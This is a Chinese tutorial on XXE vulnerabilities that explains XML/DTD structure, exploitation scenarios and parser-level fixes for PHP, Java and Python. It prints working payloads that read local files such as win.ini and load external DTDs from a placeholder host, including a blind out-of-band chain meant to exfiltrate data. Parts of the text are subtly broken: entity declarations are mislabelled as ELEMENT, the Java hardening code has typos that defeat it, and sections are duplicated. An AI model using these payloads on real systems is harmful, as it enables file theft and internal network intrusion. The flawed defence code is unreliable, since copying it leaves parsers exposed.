XXE原理利用防御
一、XML定义
1、定义
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
2、原因
应用程序解析XML时,没有过滤外部实体的加载,导致加载了恶意的外部文件,造成命令执行、文件读取、内网扫描、内网应用攻击等危害。
二、文档结构
1、结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
<?xml version="1.0" encoding="gb2312" encoding="UTF-8" ?> //xml声明、版本、编码。
<!DOCTYPE root system"http://www.xxx.com/file"
[ //定义DTD文件,格式为:root指定节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。
<!ELEMENT root (other)> //元素声明,声明xml中包含的元素,声明中需要指定元素名称(root、other)和元素类别、内容等。
<!ELEMENT to (#PCDATA)> //<!--定义to元素为#PCDATA类型-->
<!ELEMENT generalentity "content"> //ELEMENT标签用于声明实体,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体generalentity,内容为content。
<!ELEMENT %extendentity SYSTEM "http://www.xxx.com/file"> //定义参数实体,格式为:<!ELEMENT % 参数名称 参数内容>
]>
三、DTD的基础知识
1、定义
Document Type Definition即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和扩展性方面也比不上XML Schema。
2、使用DTD实体的攻击方式
1、DTD内部声明
<!DOCTYPE 根元素 [元素声明]>
2、DTD外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
3、引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
四、XXE的利用方式DTD
1、可以干的事
利用XXE漏洞可以进行拒绝服务攻击、文件读取、命令执行、XSS注入、SQL注入、内外端口扫描、入侵内网站点等。内网探测和入侵是利用XXE中支持的协议进行内网主机和端口发现,可以理解是使用XXE进行SSRF的利用。
2、场景
一般XXE利用分为两大场景:有回显和无回显。有回显的情况下可以直接在页面中看到Payload的执行结果或现象,无回显的情况又称为Blind XXE,可以使用外带数据通道提取数据。
有回显情况
方法一:
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file://C:/windows/win.ini">]>
<foo>&xxe;</foo>
方法二:
<!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd">%xxe;]>
<foo>&evil;</foo>
无回显情况
使用php://filter获取目标文件的内容
<!DOCTYPE convert[<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx/test.dtd">%remote;%int;%send;]>
五、CTF中考题
1、截取数据包
2、构造Payload
六、XXE漏洞修复与防御
1、PHP
libxml_disable_entity_loader(true);
2、JAVA
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false)l
setFeature("http://apache.org/xml/features/disallow-doctype-dec1",true);
setFeature("http://xml.org/sax/features/external-general-entities",false);
setFeature("http://xml.org/sax/features/external-parameter-entities",false);
3、Python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
4、手动黑名单过滤
过滤关键词:<!DOCTYPE>、<!ENTITY SYSTEM>、<!PUBLIC>
5、修复建议
(1)禁止使用外部实体。
(2)过滤用户提交的XML数据,防止出现非法内容。
七、附录
https://xz.aliyun.com/t/3357#toc-21
5、修复建议
(1)禁止使用外部实体。
(2)过滤用户提交的XML数据,防止出现非法内容。
七、附录
https://xz.aliyun.com/t/3357#toc-21